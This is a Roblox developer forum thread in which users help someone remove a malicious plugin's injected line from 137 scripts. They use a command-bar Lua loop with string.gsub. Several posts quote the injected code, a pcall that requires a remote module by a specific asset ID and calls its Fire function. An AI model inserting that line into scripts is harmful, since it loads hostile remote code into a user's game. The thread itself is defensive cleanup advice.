Hi, one of my developers installed a plugin that we didn’t know about and has accidentally infected all of our scripts with about 8 lines of code, requiring a virus.
How would I remove those 8 lines from all lines of code?
Thanks
ryan
Hi, one of my developers installed a plugin that we didn’t know about and has accidentally infected all of our scripts with about 8 lines of code, requiring a virus.
How would I remove those 8 lines from all lines of code?
Thanks
ryan
Using Ctrl + Shift + F
might be a great idea. You can just search for the thing that you want to delete and then remove it one by one.
I was doing that originally, but I have spent about an hour so far and only put a dent he infected like 5 of my games.
Then the only idea that comes to my head is making your own kind of plugin, that would automatically search all of the scripts on a place and removing the specific lines of code if found.
You could possibly loop through all scripts, and use gsub
to look for the string needed to remove, and replace it with nothing. (‘’)
Like so:
for _, Desc in ipairs(game:GetDescendants()) do
pcall(function(Descendant)
if Descendant:IsA('LuaSourceContainer') then
local Replacement = string.gsub(Descendant.Source,
[[
]], -- Put the code to be removed between the brackets.
''
)
Descendant.Source = Replacement
end
end, Desc)
end
Note that this is needed to be run on the command bar or a plugin.
Edit: Fixed the code.
This would work. The only issue is that you’d have to wrap each service in a pcall in case you’re checking services that aren’t normally accessible (I am pretty sure).
Instead, you could do:
for _, service in pairs(game:GetChildren()) do
pcall(function() -- add the pcall here, I am pretty sure indexing an instance that the user doesn't have access to will error.
for i,v in pairs(service:GetDescendants()) do
-- clear stuff here
end
end)
end
edit: I am mistaken, it works.
pcall(function(Descendant)
if Descendant:IsA('LuaSourceContainer') then
local Replacement = string.gsub(Descendant.Source,
[[
'pcall(function()require([Asset ID - Removed because it is a virus]):Fire()end)'
]], -- Put the code to be removed between the brackets.
''
)
Descendant.Source = Replacement
end
end, Desc)
end
That doesn’t seem to be doing anything, and I am not getting an output of an error, what am I doing wrong?
I tried this one too, still
pcall(function(Descendant)
if Descendant:IsA('LuaSourceContainer') then
local Replacement = string.gsub(Descendant.Source,
[[
pcall(function()require(ID):Fire()end)
]], -- Put the code to be removed between the brackets.
''
)
Descendant.Source = Replacement
end
end, Desc)
end
Try removing the spaces between them. Like so:
[[pcall(function()require(ID):Fire()end)]]
Shouldn’t the piece of code that is supposed to be removed inside of quotes instead of double brackets?
That was mainly used because the code should be multi-lined. Therefore brackets would be needed.
pcall(function(Descendant)
if Descendant:IsA('LuaSourceContainer') then
local Replacement = string.gsub(Descendant.Source,
[[pcall(function()require(ID):Fire()end)]], -- Put the code to be removed between the brackets.
''
)
Descendant.Source = Replacement
end
end, Desc)
end
I just get an output saying what script ran, but nothing actually gets removed.
Are you running it on the command bar?
Yes. I am running it through the command bar.
Output:
> for _, Desc in ipairs(game:GetDescendants()) do
pcall(function(Descendant)
if Descendant:IsA('LuaSourceContainer') then
local Replacement = string.gsub(Descendant.Source,
[[pcall(function()require(4850721608):Fire()end)]], -- Put the code to be removed between the brackets.
''
)
Descendant.Source = Replacement
end
end, Desc)
end
Can you pass the exact code which is supposed to be the infection?
pcall(function()require(4850721608):Fire()end)
I believe @PhoenixRessusection meant the eight lines of code that were added to the scripts by the plugin.
Yea its just 8 lines of that in 137 of my scripts.
Oh, okay, sorry I thought that was the line of code that added the code.
I am new and trying to learn. What exactly is this code doing? Is it forcing your scripts to require an asset that you don’t possess, therefore ‘breaking’ all your scripts?
It is requiring some asset which is a module script. Then it calls a function in the malcious module script and that cause your game to break.